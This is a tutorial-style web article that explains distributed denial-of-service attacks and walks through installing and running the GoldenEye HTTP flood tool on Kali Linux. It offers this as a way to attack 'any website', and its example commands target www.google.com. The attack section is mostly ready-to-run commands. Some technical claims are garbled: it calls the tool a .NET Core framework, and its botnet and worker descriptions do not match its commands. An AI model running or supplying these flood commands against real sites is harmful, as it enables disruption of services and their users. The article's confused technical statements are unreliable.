What is DDoS attack and How to perform DDoS attack on any Website

What is Distributed Denial of Service Attack(DDoS)?

A distributed denial-of-service (DDoS) attack is an attempt to make a system or network resource unavailable to its intended users. Although the means and motives vary it generally consists of efforts to temporarily or indefinitely interrupt a host connected to the Internet. This article reads on how to carry out a Denial-of-service Attack using Kali Linux.

DDoS attacks have been carried out by different hackers and criminals and even government agencies. This is mainly attributed to poor coding, lose patches or unstable systems. These are the factors that result in DDoS like attacks.

How DDoS attacks work?

In a typical DDoS attack, the assailant begins by exploiting vulnerability in one computer system and making it the DDoS master. The attack master system identifies other vulnerable systems and gains control over them by either infecting the systems with malware or through bypassing the authentication controls (i.e., guessing the default password on a widely used system or device).

DDoS attack normally starts when the criminal looks for the vulnerability in one system and thus making it a DDoS master. The master then looks for other vulnerabilities in the system to get access to the system, so it will either infect the system with a malware by bypassing the admin and taking control.

DDoS attack using Goldeneye Tool in Kali Linux

Goldeneye is a free and Open source tool available on GitHub. We can perform a denial of service attack using this tool. It’s a framework written in .NET Core. This tool provides many base classes and extensions to use with your daily work. This tool allows a single machine to take down another machine’s web server it uses perfectly legitimate HTTP traffic. It makes a full TCP connection and then requires only a few hundred requests at long-term and regular intervals. As a result, the tool doesn’t need to use a lot of traffic to exhaust the available connections on a server. 

Uses of Goldeneye:

Goldeneye uses perfectly legitimate HTTP traffic.

Deniel of service attack can be executed with the help of Goldeneye by generating heavy traffic of botnets.

Goldeneye sends multiple requests to the target as a result generates heavy traffic botnets.

Goldeneye is an open-source tool, so you can download it from GitHub free of cost.

Goldeneye can be used to perform ddos attacks on any webserver.

Installation 

Step 1:

 Open your Kali Linux and then Open your Terminal. Use the following command to install the tool.

git clone https://github.com/jseidl/GoldenEye.git

Step 2:

 Use the following command to move to Goldeneye directory.

cd GoldenEye

 

Step 3:

 Use the following command to list out the contents of the directory.

ls

Step 4: 

The tool is running successfully now.

Example 1: 

Use the GoldenEye tool to perform DDoS attack on any domain.

./goldeneye.py https://www.google.com -s 1000

The tool is running successfully and started attacking the domain www.google.com. This tool is useful for security researchers.

Example 2:

 To display all usage options of the golden eye tool, type the following command

sudo ./goldeneye.py -h

Example 3: 

To send traffic in ‘random’ mode with 5 workers running 10 connections each

sudo ./goldeneye.py http://192.168.0.233:80/ -s 10 -m random

Example 4:

 Use the GoldenEye tool to send traffic to the target machine and capture traffic on Wireshark tool.

Wireshark

The tool will start hitting the server. Now open Wireshark and capture packets.

The tool is running successfully and started attacking the domain and the Wireshark is capturing the packets. 

Stay Safe !
